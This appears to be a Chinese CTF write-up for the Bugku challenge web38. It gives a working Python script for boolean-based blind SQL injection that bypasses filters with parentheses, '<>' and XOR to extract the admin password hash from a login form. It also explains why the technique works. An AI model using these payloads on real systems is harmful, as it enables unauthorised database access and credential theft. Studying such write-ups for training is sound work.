【bugku】web38 基于布尔的SQL盲注

题目

【bugku】web38 基于布尔的SQL盲注_第1张图片
进去后是一个登陆界面,照常用admin登陆随便一个密码,发现说password error,在admin加上个'提示username does not exist!,再加上题目提示基于布尔的SQL盲注,猜测后端是判断username是否存在,这里可能就会有注入点。输入了and发现提示illegal character,说明有过滤。
先FUZZ测试一下发现and、+、=等许多东西都给过滤了,但是^、ascii、substr等用于盲注的函数都还在,主要的空格可以用()绕过,=可以用<>来代替。
先上脚本:

import requests
import string,hashlib
url = 'http://114.67.246.176:16584'
sss = string.digits + string.lowercase
a = ''
for i in range(1, 50):
    flag = 0
    for j in sss:
        payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j))
        data = {
     'username': payload, 'password': 'admin'}
        res = requests.post(url, data=data).text
        if 'username does not exist!' in res.text:
            a += j
            flag = 1
            print a
            break
    if flag == 0:
        break
 
print a

先了解一下异或

1^1=0 1^0=1 0^0=0

只有两个不同的布尔值运算结果为1
脚本中则是用username=’admin’^1^0
返回值是username does not exist!
username=’admin’^0^0
返回值会是password error!
这就确认了有注入点。
*mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?
因此,这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。*源于https://www.cnblogs.com/0yst3r-2046/p/11176746.html
脚本获取到的password用md5解码出来,再用admin登录就能拿到flag

你可能感兴趣的:(Web刷题记录,php,安全)